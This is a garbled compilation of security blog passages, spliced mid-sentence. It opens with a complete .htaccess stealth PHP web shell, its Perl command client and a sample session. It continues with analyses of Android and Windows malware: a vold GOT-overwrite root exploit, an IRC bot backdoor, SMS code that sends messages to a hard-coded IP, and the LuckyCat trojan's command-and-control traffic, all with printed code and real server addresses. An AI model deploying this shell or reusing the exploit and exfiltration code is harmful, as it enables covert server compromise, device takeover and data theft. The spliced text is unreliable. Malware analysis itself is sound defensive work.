127.0.0.1 - - [23/Jan/2012:11:47:32 +1100] "GET /.htaccess?c=uname -a HTTP/1.1" 200 617 "-" "Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
$e = str_replace('y','e','yxyc'); $e($cmd)
will call exec
on $cmd
..htaccess
, as hidden as it gets.X-ETAG
header, which is accessible via: $_SERVER['HTTP_X_ETAG']
and send the response via the same header. This requires output buffering to be enabled otherwise PHP will complain about headers being sent after output has started. Luckily this is not an admin flag and can be set from within the .htaccess file
itself using: php_value output_buffering 1
..htaccess
file if X-ETAG
request header is set:
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]
base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))
200 OK
, although a header()
call can easily be used to make it something else. Thanks to the output buffering the content of the .htaccess
file can be discarded and the response size can be set to a known value. I'm using print str_repeat("A", 9326);
to match the size of my favicon which can be seen in the first log snippet.# Self contained .htaccess stealth web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com
# Override default deny rule to make .htaccess file accessible over web
Order allow,deny
Allow from all
# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess
# Enable output buffering so we can fudge content length in logs
php_value output_buffering 1
# Rewrite supposed url to the .htaccess file if X-ETAG request header is set
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]
# SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc'); $e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>
#!/usr/bin/perl
# Interface for the mod_php htaccess stealth shell
# Written by Wireghoul - http://www.justanotherhacker.com
use warnings;
use strict;
use MIME::Base64;
use LWP::UserAgent;
&usage unless $ARGV[0];
my $url = $ARGV[0];
pop(@ARGV); #keep readline happy
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16');
sub usage {
print "Usage: $0 url\nExample: $0 http://vuln.com/upload/favicon.ico\n";
exit 2;
}
my $cmd = '';
print "Connecting to shell at $url - type 'exit' to exit";
until ($cmd eq 'exit') {
print "\nshell> ";
$cmd = readline;
chomp $cmd;
my $payload = 'AA'.encode_base64($cmd);
my $response = $ua->get( $url, 'X-ETAG' => $payload);
if ($response->header('X-ETAG')) {
print decode_base64(substr($response->header('X-ETAG'),2));
} else {
print "Error! No payload in response!\n";
}
}
# GET http://localhost/favicon.ico | head -1
________________________________________
h6 ?@@(F(
# ./stsh.pl http://localhost/favicon.ico
Connecting to shell at http://localhost/favicon.ico - type 'exit' to exit
shell> uname -a
Linux bt 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
# tail -3 /var/log/apache2/access.log
127.0.0.1 - - [31/Jan/2012:14:07:59 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
127.0.0.1 - - [31/Jan/2012:14:08:01 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
127.0.0.1 - - [31/Jan/2012:14:08:03 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
SmsManager localSmsManager = SmsManager.getDefault();
String str1 = "fiquaziuhaivi<v;esh(emeit_iamaijoiyaip...";
String str2 = str1 + "uzashueneifiepoobiphiezoufooy?a...";
String str3 = this.eb3hlgO.eb3hlgO;
String str4 = str1 + "wohbo/oteebainieheedei]d&ohjuo)...";
String str5 = this.eb3hlgO.O9Tn;
PendingIntent localPendingIntent1 = null;
PendingIntent localPendingIntent2 = null;
localSmsManager.sendTextMessage(str3,
null,
str5,
localPendingIntent1,
localPendingIntent2);
com.android.bot
- no hiding here, an honest self-assessment of being a bot.AndroidBotActivity
will perform the following actions:/data/data/com.android.bot/files
with the read/write/execute rights for all/data/data/com.android.bot/files/header01.png
(ELF executable)/data/data/com.android.bot/files/footer01.png
(ELF executable)/data/data/com.android.bot/files/border01.png
(Android app - an APK file)header01.png
(0x14) Error - Not registred application.
ShellCommand.CommandResult localCommandResult1 = localShellCommand.sh.runWaitFor("mkdir /data/data/com.android.bot/files && chmod 777 /data/data/com.android.bot/files/");
boolean bool1 = new File("/data/data/com.android.bot/files/footer01.png").delete();
boolean bool2 = new File("/data/data/com.android.bot/files/header01.png").delete();
boolean bool3 = new File("/data/data/com.android.bot/files/border01.png").delete();
boolean bool4 = new File("/data/data/com.android.bot/files/boomsh").delete();
boolean bool5 = new File("/data/data/com.android.bot/files/crashlog").delete();
boolean bool6 = new File("/data/data/com.android.bot/files/rooted").delete();
ExtractAsset("header01.png", "/data/data/com.android.bot/files/header01.png");
ExtractAsset("footer01.png", "/data/data/com.android.bot/files/footer01.png");
ExtractAsset("border01.png", "/data/data/com.android.bot/files/border01.png");
ShellCommand.CommandResult localCommandResult2 = localShellCommand.sh.runWaitFor("chmod 777 /data/data/com.android.bot/files/header01.png");
ShellCommand.CommandResult localCommandResult3 = localShellCommand.sh.runWaitFor("/data/data/com.android.bot/files/header01.png");
Toast.makeText(getApplicationContext(), "(0x14) Error - Not registred application.", 0).show();
header01.png
file is an ELF executable compiled for ARM CPU. Hopefully, IDA Pro disassembler handles it quite perfectly.vold
(volume daemon) - a program that automatically mounts CD-Roms, USB-Memory Sticks, and other removable media.DirectVolume.cpp
(one of the vold
's source files) was updated with an extra boundary check added for mPartMinors[]
.part_num > MAX_PARTITIONS
boundary check was already present in the code, the only added boundary check this time was part_num < 1
.part_num
, how it was used in the code before the update, and why the extra check was added?part_num
is an integer variable that is obtained from the string parameter PARTN
passed within the Netlink event message - an argument for the handlePartitionAdded()
function, as shown below in the vold
's source file DirectVolume.cpp
:
void DirectVolume::handlePartitionAdded(const char *devpath,
NetlinkEvent *evt)
{
...
// obtain "MINOR" parameter from the event message, assign to int minor
int minor = atoi(evt->findParam("MINOR"));
...
int part_num;
// obtain "PARTN" string parameter from the event message
const char *tmp = evt->findParam("PARTN");
if (tmp)
{
// convert it to int, assign to part_num
part_num = atoi(tmp);
}
else
{
SLOGW("Kernel block uevent missing 'PARTN'");
part_num = 1;
}
...
// make sure part_num does not exceed the maximum limit
if (part_num >= MAX_PARTITIONS)
{
SLOGE("Dv:partAdd: ignoring part_num = %d (max: %d)\n",
part_num,
MAX_PARTITIONS-1);
}
else
{
// use part_num as an index to referenece mPartMinors[],
// store there the value of minor
mPartMinors[part_num -1] = minor;
}
...
}
part_num >= MAX_PARTITIONS
. Next, part_num
is used to reference an element of the array mPartMinors[]
. That is, the code assumes that part_num
is always more than or equal to 1
. However, in case of a negative value passed for the PARTN
parameter, the code will reference the memory located below the mPartMinors[]
base pointer - that referenced memory (whatever is stored at that location) will be overwritten with the value contained in the variable minor
- that value is also passed with the Netlink event message, only by using a different parameter - MINOR
.mPartMinors[]
array, it is possible for the attacker to reference and overwrite the memory that belongs to the GOT (Global Offset Table) within the image of the vold
executable. The GOT table stores offsets of the imported APIs - such as strcmp()
, atoi()
and other APIs that vold
executable imports from other libraries such as libm.so
, libc.so
, libcrypto.so
. After patching one of those offsets with an offset of an API function system()
imported from the C library libc.so
, vold
executable would now call system()
API instead of the intended one. If the parameter passed to the patched API was a malicious executable file path, vold
would call system("path_to_malicious_executable")
API, effectively launching an external executable with the same root privileges as the vold
process itself.DirectVolume.cpp
update was noticed by Sebastian Krahmer, Swiss researcher, who published the proof-of-concept code at his blog two days later, on April 21, 2011.handlePartitionAdded()
is only invoked within vold
process whenever a hotplug event occurs (such as connection/disconnection of CD-ROM, USB-Memory Sticks, and other removable media). When that happens, the netlink daemon that listens to the netlink socket (this socket is used as a communication between the kernel and user space) receives a packet of data for such event. The transferred data represents itself a set of null terminated text lines where every line contains a PARAMETER=VALUE
pair defining a hotplug event parameters. For a normal hotplug event, the message parameters are always valid and PARTN
is always 1
or more. However, the malicious process header01.png
opens up the netlink socket and sends there the malformed event messages directly in order to fake the hotplug events.header01.png
via the netlink socket will invoke the vold
's handlePartitionAdded()
function above. The trojan has to construct a netlink event (NetlinkEvent *evt
) message with the malformed parameters PARTN
(this must be a negative number that references vold
's GOT offsets) and MINOR
(this parameter must contain the offset of the API system()
). The PARTN
and MINOR
values have to be calculated dynamically with a 100% precision. The trojan does that in the following steps./proc/net/netlink
and reads the contents of that file:
.text:00009A1C LDR R3, =(aNetlink - _GLOBAL_OFFSET_TABLE_) ; "/proc/net/netlink"
.text:00009A20 LDR R2, [R11,#var_828]
.text:00009A24 ADD R3, R2, R3
.text:00009A28 MOV R0, R3 ; filename
.text:00009A2C LDR R3, =(aR - _GLOBAL_OFFSET_TABLE_) ; "r"
.text:00009A30 LDR R1, [R11,#var_828]
.text:00009A34 ADD R3, R1, R3
.text:00009A38 MOV R1, R3
.text:00009A3C BL fopen ; open "netlink" for read
/proc/net/netlink
file enlists running processes, e.g. its content might look like:
sk Eth Pid Groups Rmem Wmem Dump Locks
c4cc6800 15 69 ffffffff 0 0 (null) 2
c5979a00 15 26 ffffffff 0 0 (null) 2
c5b99e00 15 29 ffffffff 0 0 (null) 2
Pid
). So the trojan parses every line and retrieves the 3rd parameter - the process ID.%PID%
, it constructs a string /proc/%PID%/cmdline
./proc/29/cmdline
might return /system/bin/netd
string - this string is a process name for the process with the ID of 29
:
.text:00009B7C LDR R3, =(aCmdline - _GLOBAL_OFFSET_TABLE_) ; "/proc/%d/cmdline"
.text:00009B80 LDR R2, [R11,#var_828]
.text:00009B84 ADD R3, R2, R3
.text:00009B88 MOV R1, R3 ; format
.text:00009B8C LDR R2, [R11,#var_818]
.text:00009B90 BL sprintf ; construct string "/proc/%PID%/cmdline"
.text:00009B94 SUB R3, R11, #-var_800
.text:00009B98 SUB R3, R3, #0xC
.text:00009B9C SUB R3, R3, #4
.text:00009BA0 MOV R0, R3 ; file
.text:00009BA4 MOV R1, #0 ; oflag
.text:00009BA8 BL open ; open file "/proc/%PID%/cmdline"
/system/bin/vold
:
.text:00009C14 LDR R3, =(aSystemBinVold - _GLOBAL_OFFSET_TABLE_) ; "/system/bin/vold"
.text:00009C18 LDR R1, [R11,#var_828]
.text:00009C1C ADD R3, R1, R3
.text:00009C20 MOV R1, R3
.text:00009C24 BL strstr ; compare the returned string with "/system/bin/vold"
/system/bin/vold
is found, the process ID of vold
daemon will now be known.system()
API by opening the libc.so
library with dlopen()
, then obtaining the offset with dlsym()
. This is similar to LoadLibrary()
, GetProcAddress()
call sequence used in x86 malware.
.text:00009260 LDR R3, =(aLibcSo - _GLOBAL_OFFSET_TABLE_) ; "/system/libc/libc.so"
.text:00009264 LDR R2, [R11,#var_1C]
.text:00009268 ADD R3, R2, R3
.text:0000926C MOV R0, R3 ; file
.text:00009270 MOV R1, #0 ; mode
.text:00009274 BL dlopen ; open the library "/system/libc/libc.so"
.text:00009278 MOV R3, R0
.text:0000927C STR R3, [R11,#handle]
.text:00009280 LDR R3, [R11,#handle]
.text:00009284 CMP R3, #0
.text:00009288 BNE libc_handle_ok
.text:0000928C LDR R3, =(aDlopen - _GLOBAL_OFFSET_TABLE_) ; "[-] dlopen"
.text:00009290 LDR R2, [R11,#var_1C]
.text:00009294 ADD R3, R2, R3
.text:00009298 MOV R0, R3
.text:0000929C BL die ; libc handle is 0 - quit
.text:000092A0 libc_handle_ok:
.text:000092A0 LDR R0, [R11,#handle] ; load handle
.text:000092A4 LDR R1, [R11,#name] ; load symbol name (passed as a parameter)
.text:000092A8 BL dlsym ; obtain the address of the symbol ("system")
/system/bin/vold
and parses its ELF structure to retrieve the start and the end of the vold
's GOT table.vold
's fstab
file - a system configuration that enlists all available disks and disk partitions. This configuration resides either in /etc/vold.fstab
or system/etc/vold.fstab
. For example, the contents of this file might look like:
## Format: dev_mount <label> <mount_point> <part> <sysfs_path1...>
## label - Label for the volume
## mount_point - Where the volume will be mounted
## part - Partition # (1 based), or 'auto' for first usable partition.
## <sysfs_path> - List of sysfs paths to source devices
dev_mount sdcard /mnt/sdcard auto /devices/platform/msm_sdcc.2/mmc_host/mmc1
/devices/platform/msm_sdcc.2/mmc_host/mmc1
, or it will use that path as a default one if it fails to find any specified devices.system()
API - the value it intends to patch GOT table with. This value will be passed as MINOR
parameter of the malformed netlink event messages. However, the trojan is not aware what negative index values have to be chosen for the mPartMinors[]
array (passed as PARTN
parameter) in order to reference GOT table. It's a blindfolded shooting for the trojan.PARTN
parameter and system()
API offset as a MINOR
parameter, then submits that message to the netlink socket.logcat
command with the parameters -c
and -f
) into the file /data/local/tmp/crashlog
. Every time it sends a malformed netlink event message, it parses the contents of the crashlog
file, looking for the presence of the string "fault addr "
; if found, it retrieves the specified fault address and compares it against the GOT boundaries:
.text:0000AC34 LDR R3, =(aFAddr - _GLOBAL_OFFSET_TABLE_) ; "fault addr "
.text:0000AC38 LDR R2, [R11,#var_440]
.text:0000AC3C ADD R3, R2, R3
.text:0000AC40 MOV R1, R3
.text:0000AC44 BL strstr ; line contains fault address ("fault addr ")?
.text:0000AC48 MOV R3, R0
.text:0000AC4C STR R3, [R11,#nptr]
.text:0000AC50 LDR R3, [R11,#nptr]
.text:0000AC54 CMP R3, #0
.text:0000AC58 BEQ fault_addr_not_found
.text:0000AC5C LDR R3, [R11,#nptr]
.text:0000AC60 ADD R3, R3, #0xB
.text:0000AC64 STR R3, [R11,#nptr]
.text:0000AC68 LDR R0, [R11,#nptr] ; nptr
.text:0000AC6C MOV R1, #0 ; endptr
.text:0000AC70 MOV R2, #0x10 ; base
.text:0000AC74 BL strtoul ; if so, convert it into unsigned long integer
"fault addr "
string), and that address belongs to GOT, it now assumes that the aligned address within GOT was now overwritten with the system()
API. It does not know what API offset was overwritten, but it does not care; it just assumes that during a normal netlink event processing, some of the overwritten API will eventually be called. Once an unknown API offset within GOT is overwritten, it falls asleep for 500 sec before exploiting it.PARTN
parameter as 1
- a perfectly valid number that will cause no exceptions due to wrong memory addressing. The other parameters however, will now be specified in form of an offset to the file path name of the trojan's own copy that it drops as /data/local/tmp/boomsh
.vold
's handlePartitionAdded()
function will now be triggered again. The PARTN
parameter check will pass Ok now. However, at some point of processing the incoming netlink event message parameters, vold
will try to call one of the imported APIs. For example, as seen in the source file, the very first line of the handlePartitionAdded()
function is:int major = atoi(evt->findParam("MAJOR"));
evt->findParam("MAJOR")
command will retrieve a string that was specified as MAJOR
parameter - that string will be the full path filename of the trojan's copy: /data/local/tmp/boomsh
.vold
'd code will try to convert that string into an integer, so it will call atoi()
API by calling the function at the offset specified within GOT and passing /data/local/tmp/boomsh
as a function parameter. However, since the offset of atoi()
within compromised GOT can now potentially be overwritten with the offset of system()
API, the execution flow with follow the wrong direction, factually calling system("/data/local/tmp/boomsh")
. This will run (re-run) the trojan executable with the root privilege.boomsh
string. This part of description was intentionally skipped (to keep the cart behind the horse). If the trojan detects it was executed as boomsh
, it simply means that the exploit has worked: the trojan was executed under vold
account due to patched GOT and that now it has the root privileges inherited from the parent process.footer01.png
, the ELF executable that was dropped by the malicious Android app "Madden NFL 12" into the same directory as header01.png
.
.text:0000AE18 LDR R3, =(bot - 0xC100) ; /data/data/com.android.bot/files/footer01.png
.text:0000AE1C ADD R3, R4, R3 ; bot
.text:0000AE20 LDR R3, [R3]
.text:0000AE24 MOV R0, R3 ; file
.text:0000AE28 MOV R1, #0 ; owner
.text:0000AE2C MOV R2, #0 ; group
.text:0000AE30 BL chown
.text:0000AE34 LDR R3, =(bot - 0xC100)
.text:0000AE38 ADD R3, R4, R3 ; bot
.text:0000AE3C LDR R3, [R3]
.text:0000AE40 MOV R0, R3 ; file
.text:0000AE44 MOV R1, 0x9C9 ; mode
.text:0000AE4C BL chmod
.text:0000AE50 LDR R3, =(bot - 0xC100)
.text:0000AE54 ADD R3, R4, R3 ; bot
.text:0000AE58 LDR R2, [R3]
.text:0000AE5C LDR R3, =(bot - 0xC100) ; /data/data/com.android.bot/files/footer01.png
.text:0000AE60 ADD R3, R4, R3 ; bot
.text:0000AE64 LDR R3, [R3]
.text:0000AE68 MOV R0, R2 ; file
.text:0000AE6C MOV R1, R3 ; arg
.text:0000AE70 MOV R2, #0
.text:0000AE74 BL execlp ; run footer01.png
.text:0000AE78 MOV R0, #0 ; status
.text:0000AE7C BL exit ; job's done - quit
footer01.png
is a backdoor trojan implemented as an IRC bot.header01.png
) by placing 1
into the file /data/data/com.android.bot/files/rooted
:
.text:000094D4 LDR R3, =0xFFFFF6E0 ; "echo 1 > /data/data/com.android.bot/files/rooted"
.text:000094D8 LDR R2, [R11,#var_38]
.text:000094DC ADD R3, R2, R3
.text:000094E0 MOV R0, R3 ; command
.text:000094E4 BL system ; run "echo 1 >.." to leave the marker in "rooted"
/data/data/com.android.bot/files/border01.png
. This is the 3rd file dropped by the inital app "Madden NFL 12" - this file is an Android app (APK file).com.android.me.AndroidMeActivity
with the activity manager (the main activity of the border01.png
app), and sets a flag about that component activation by placing 1
into the file /etc/sent
:
.text:00009584 LDR R3, =0xFFFFF7B0 ; "chmod 0644 /data/data/.../border01.png"
.text:00009588 LDR R2, [R11,#var_38]
.text:0000958C ADD R3, R2, R3
.text:00009590 MOV R0, R3 ; command
.text:00009594 BL system ; run "chmod 0644" on "border01.png"
.text:00009598 MOV R0, #5 ; seconds
.text:0000959C BL sleep
.text:000095A0 LDR R3, =0xFFFFF7F0 ; "pm install -r /data/data/.../border01.png"
.text:000095A4 LDR R2, [R11,#var_38]
.text:000095A8 ADD R3, R2, R3
.text:000095AC MOV R0, R3 ; command
.text:000095B0 BL system ; run "pm install" to install "border01.png"
.text:000095B4 MOV R0, #3 ; seconds
.text:000095B8 BL sleep ; sleep 3 sec.
.text:000095BC LDR R3, =0xFFFFF830 ; "am start -n ..com.android.me.AndroidMeActivity"
.text:000095C0 LDR R2, [R11,#var_38]
.text:000095C4 ADD R3, R2, R3
.text:000095C8 MOV R0, R3 ; command
.text:000095CC BL system ; run "am start" to start "AndroidMeActivity"
.text:000095D0 MOV R0, #30 ; seconds
.text:000095D4 BL sleep ; sleep 30 sec.
.text:000095D8 LDR R3, =(aEcho1EtcSent - _GLOBAL_OFFSET_TABLE_) ; "echo 1 > /etc/sent"
.text:000095DC LDR R2, [R11,#var_38]
.text:000095E0 ADD R3, R2, R3
.text:000095E4 MOV R0, R3 ; command
.text:000095E8 BL system ; run "echo 1" to leave the marker in "/etc/sent"
199.68.196.198
, generates a random user name, then logs on to IRC server by using that name.#andros
at the server and then keeps waiting for the private messages on the channel.PRIVMSG
), then treats it as a remote command. In total, there 3 remote commands:"sh"
command, it will run the specified command or executable with the system()
call, then respond back the message:PRIVMSG #andros :[SH] - %COMMAND_TO_RUN%.
"id"
will make the bot reply back the user ID of the calling process, that is obtained with the getuid()
call:PRIVMSG #andros :[ID] - %REAL_USER_ID%.
"exit"
will force the bot to exit; before exiting it replies back:PRIVMSG #andros :[EXIT] - exiting ordered...
.text:000091C4 LDR R3, =(aSh - _GLOBAL_OFFSET_TABLE_)
.text:000091C8 LDR R2, [R11,#var_62C]
.text:000091CC ADD R3, R2, R3
.text:000091D0 MOV R1, R3 ; s2
.text:000091D4 MOV R2, #3 ; n
.text:000091D8 BL strncmp ; is the received command "sh"?
.text:000091DC MOV R3, R0
.text:000091E0 CMP R3, #0
.text:000091E4 BNE next_1 ; if not, check if it's the next command
...
.text:00009280 MOV R0, R3 ; command
.text:00009284 BL system ; run the received command/executable
.text:00009288 SUB R12, R11, #-var_410
.text:0000928C SUB R12, R12, #4
.text:00009290 SUB R12, R12, #4
.text:00009294 LDR R0, [R11,#var_620]
.text:00009298 LDR R3, =0xFFFFF650 ; "PRIVMSG %s :[SH] - %s."
.text:0000929C LDR R1, [R11,#var_62C]
.text:000092A0 ADD R3, R1, R3
.text:000092A4 MOV R1, R3
.text:000092A8 LDR R3, =0xFFFFF638 ; "#andros"
.text:000092AC LDR R2, [R11,#var_62C]
.text:000092B0 ADD R3, R2, R3
.text:000092B4 MOV R2, R3
.text:000092B8 MOV R3, R12
.text:000092BC BL IRCSend ; reply "PRIVMSG #andros :[SH] - %COMMAND%."
border01.png
is started by the executable footer01.png
.SMSReceiver
. Its onReceive()
method is called upon receiving an intent broadcast which is generated when an SMS is received.onReceive()
method invoked, the code retrieves 2 fields from the received SMS message: message body and the sender's address. If the sender's address is one the following values, then it is aborted:
str1 = arrayOfSmsMessage[0].getMessageBody();
str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();
if ((str2.equals("81083")) || (str2.equals("3075")) || (str2.equals("64747")) ||
(str2.equals("60999")) || (str2.equals("63000")) || (str2.equals("35024")) ||
(str2.equals("2052")) || (str2.equals("7604")) || (str2.equals("1339")) ||
(str2.equals("9903")) || (str2.equals("2227")) || (str2.equals("72225")) ||
(str2.equals("23333")))
abortBroadcast();
46.166.146.102
, as shown below:
DefaultHttpClient localDefaultHttpClient = new DefaultHttpClient();
HttpGet localHttpGet = new HttpGet();
String str3 = "http://46.166.146.102/?=" + str2 + "///" + str1;
URI localURI = new URI(str3);
localHttpGet.setURI(localURI);
HttpResponse localHttpResponse = localDefaultHttpClient.execute(localHttpGet);
getSimCountryIso()
, then depending on the country it sets up a different premium-rate number to send the SMS to.nteps32.ocx
, reveals that its strings are also encrypted, just like in soapr32.ocx
.
void Decrypt2(LPBYTE lpBuffer)
{
if (lpBuffer[16]) // 16th byte is a flag "encrypted"
{
for (BYTE i = 0; i < lpBuffer[18]; i++) // 18th byte is the string size
{
lpBuffer[20 + i] -= GetKey2(i); // encrypted string starts from 20th byte
}
lpBuffer[16] = 0; // clear "encrypted" flag (16th byte)
}
}
BYTE szTest[] = {0x15,0xEE,0x8A,0x6D,0x13,0xF0,0xD4,0x55,0x5B,0x0A,0x61,0x17,0x70,
0x88,0xDF,0x0A,0x90,0x7D,0x52,0x00,0xCA,0xA2,0x0F,0xE8,0x5B,0x37,
0xAE,0x8D,0x17,0xEB,0x71,0x52,0xD3,0xBC,0x40,0x37,0xC5,0xB1,0x4E,
0x3C,0xBB,0xC2,0x67,0x59,0xF4,0xFF,0xA6,0xA6,0x3B,0x49,0x10,0x0C,
0xDD,0xCA,0x9D,0x81,0x4C,0x5C,0x3C,0x27,0x04,0x06,0xDB,0xFC,0xE4,
0xD3,0xA2,0xDA,0xBE,0xDD,0xA6,0xC8,0xAB,0xF7,0xD2,0xEE,0x0B,0x0E,
0x27,0x55,0x37,0x78,0x84,0xB3,0xBD,0xFA,0x11,0x32,0x39,0x6D,0xA0,
0xD0,0xC3,0x34,0x03,0x8F,0xBC,0xDE,0xE9,0x56,0x48,0xD1,0x00};
Decrypt2(szTest);
15 EE 8A 6D 13 F0 D4 55 5B 0A 61 17 70 88 DF 0A 00 7D 52 00 48 | ...m...U[.a.p....}R.H
00 4B 00 4C 00 4D 00 5C 00 53 00 4F 00 46 00 54 00 57 00 41 00 | .K.L.M.\.S.O.F.T.W.A.
52 00 45 00 5C 00 4B 00 61 00 73 00 70 00 65 00 72 00 73 00 6B | R.E.\.K.a.s.p.e.r.s.k
00 79 00 4C 00 61 00 62 00 5C 00 70 00 72 00 6F 00 74 00 65 00 | .y.L.a.b.\.p.r.o.t.e.
63 00 74 00 65 00 64 00 5C 00 41 00 56 00 50 00 37 00 | c.t.e.d.\.A.V.P.7.
void decrypt(int result, int iCount)
{
int i1, i2, i3, i4;
i1 = result;
if (iCount)
{
i2 = 11 - result;
do
{
i3 = i1 + i2;
i4 = i3 + 12;
result = i3 * i4;
*(BYTE *)i1 -= result ^ ((i3 * i4) >> 8) ^
((i3 * i4) >> 16) ^ ((i3 * i4) >> 24);
++i1;
--iCount;
}
while (iCount);
}
}
void Decrypt3(LPBYTE lpBuffer)
{
if (lpBuffer[16]) // 16th byte is a flag "encrypted"
{
decrypt((int)(lpBuffer + 20), (int)lpBuffer[18]);
// 18th byte is the string size
// 20th byte is where encrypted bytes start
lpBuffer[16] = 0; // clear "encrypted" flag (16th byte)
}
}
BYTE szTest3[] =
{
0xA7,0xC9,0xDF,0xF8,0x30,0x0C,0x52,0x9D,0x0C,0x7F,0xB5,0x32,0x2B,0x05,0xC6,0x08,
0x05,0xD5,0x26,0x00,0x74,0x21,0xA5,0x6D,0x0B,0xC1,0x54,0x1E,0xB0,0x82,0x24,0xEE,
0xA0,0x63,0xFF,0xDF,0x7A,0x64,0x03,0xE8,0x9F,0x85,0x3E,0x1A,0xD0,0xC6,0x73,0x6B,
0x34,0x28,0xD6,0xD4,0x96,0xA9,0x78,0x66,0x42,0x4B,0x00,0x00,0x68,0xB8,0xE7,0x8A,
0x23,0x51,0x36,0x5C,0xCD,0xC3,0x4D,0xE4,0xF2,0xE5,0xCC,0xA3,0x00
};
Decrypt3(szTest3);
A7 C9 DF F8 30 0C 52 9D 0C 7F B5 32 2B 05 C6 | ....0.R....2+..
08 00 D5 26 00 77 00 61 00 77 00 68 00 61 00 | ...&.w.a.w.h.a.
6D 00 7A 00 61 00 61 00 62 00 6F 00 76 00 65 | m.z.a.a.b.o.v.e
00 61 00 72 00 61 00 62 00 69 00 63 00 | .a.r.a.b.i.c.
INSERT INTO Media (Type, MediumDescription) VALUES ('%s', '%s')
SELECT State FROM Pst_States WHERE FileName=? AND Size=%u AND LastModification=%I64d
'alefhamzabelowfinalarabic'
or 'alefqamatshebrew'
. This table is used to convert Postscript glyph names into Unicode codes - presumably to be able to parse the content of Adobe PDF documents written in Unicode Character Entities, such as Hebrew or Arabic.HKLM\SOFTWARE\KasperskyLab\AVP6
HKLM\SOFTWARE\KasperskyLab\protected\AVP7
.text:100C5DE8 sub_100C5DE8 proc near
.text:100C5DE8 push offset aGps_latitude ; "GPS_LATITUDE"
.text:100C5DED call decrypt_string
.text:100C5DF2 pop ecx
.text:100C5DF3 push eax
.text:100C5DF4 push offset GPS_LATITUDE
.text:100C5DF9 call copy_string
.text:100C5DFE push offset sub_100F32F8
.text:100C5E03 call _atexit
.text:100C5E08 pop ecx
.text:100C5E09 retn
.text:100C5E09 sub_100C5DE8 endp
com.testService
. The APK file name could be AQS.apk
or testService.apk
. Both samples are almost identical - one has a standard Android icon, another one has an 'empty' icon, as shown below:Service Start OK!
, LuckyCat does not seem to do much more: com.testService
will take 1,336 Kb in memory. However, once activated, the trojan registers a broadcast receiver that gets triggered on a BOOT_COMPLETED
event:
public synchronized class TServiceBroadcastReceiver extends BroadcastReceiver
{
private static final String ACTION = "android.intent.action.BOOT_COMPLETED";
public TServiceBroadcastReceiver()
{
}
public void onReceive(Context context, Intent intent1)
{
ComponentName componentName;
if (intent1.getAction().equals("android.intent.action.BOOT_COMPLETED"))
{
Intent intent2 = new Intent("android.intent.action.RUN");
Intent intent3 = intent2.setClass(context, TService);
Intent intent4 = intent2.setFlags(268435456);
componentName = context.startService(intent2);
}
}
}
TService
that will run as a process com.testService:remote
, taking 1,060 Kb out of RAM. The trojan reads the state of the device SIM card by calling getSimState()
method, as shown below:
public String getPhoneNumber()
{
StringBuffer stringBuffer1;
String string2;
StringBuffer stringBuffer2;
StringBuffer stringBuffer3;
StringBuffer stringBuffer4;
StringBuffer stringBuffer5;
StringBuffer stringBuffer6;
String string1;
TelephonyManager telephonyManager = (TelephonyManager)getApplicationContext().getSystemService("phone");
stringBuffer1 = new StringBuffer();
switch (telephonyManager.getSimState())
{
case 1:
stringBuffer2 = stringBuffer1.append("\u65e0\u5361");
string2 = stringBuffer1.toString();
break;
case 0:
stringBuffer3 = stringBuffer1.append("\u672a\u77e5\u72b6\u6001");
string2 = stringBuffer1.toString();
break;
case 4:
stringBuffer4 = stringBuffer1.append("\u9700\u8981NetworkPIN\u89e3\u9501");
string2 = stringBuffer1.toString();
break;
case 2:
stringBuffer5 = stringBuffer1.append("\u9700\u8981PIN\u89e3\u9501");
string2 = stringBuffer1.toString();
break;
case 3:
stringBuffer6 = stringBuffer1.append("\u9700\u8981PUK\u89e3\u9501");
string2 = stringBuffer1.toString();
break;
default:
string1 = telephonyManager.getLine1Number();
break;
}
return string1;
}
greenfuns.3322.org
, port 54321
. The data is compiled into a report that also contains local IP and MAC addresses. The report is wrapped with the strings ejsi2ksz
and 369
, and then encrypted on top with a XOR keys 0x05
and 0x27
:
public void encryptkey(byte[] paramArrayOfByte, int paramInt1, int paramInt2)
{
byte[] arrayOfByte1 = new byte[10240];
byte[] arrayOfByte2 = new byte[4];
Arrays.fill(arrayOfByte1, 0, 10240, 0);
Arrays.fill(arrayOfByte2, 0, 4, 0);
System.arraycopy(paramArrayOfByte, paramInt1, arrayOfByte1, 0, paramInt2);
int i = 0;
if (i >= paramInt2);
while (true)
{
return;
int j = i + 1;
arrayOfByte2[0] = (byte)(0x5 ^ arrayOfByte1[i]);
paramArrayOfByte[(-1 + (paramInt1 + j))] = arrayOfByte2[0];
if (j >= paramInt2)
continue;
i = j + 1;
arrayOfByte2[1] = (byte)(0x27 ^ arrayOfByte1[j]);
paramArrayOfByte[(-1 + (paramInt1 + i))] = arrayOfByte2[1];
if (i < paramInt2)
break;
}
}
ejsi2ksz
. It is then decrypted by calling the same symmetrical function encryptKey()
. The decrypted response is then parsed to see if it contains one out of 5 remote commands:
switch
{
case AR_ONLINEREPORT: goto exit;
case AR_REMOTESHELL: goto exit;
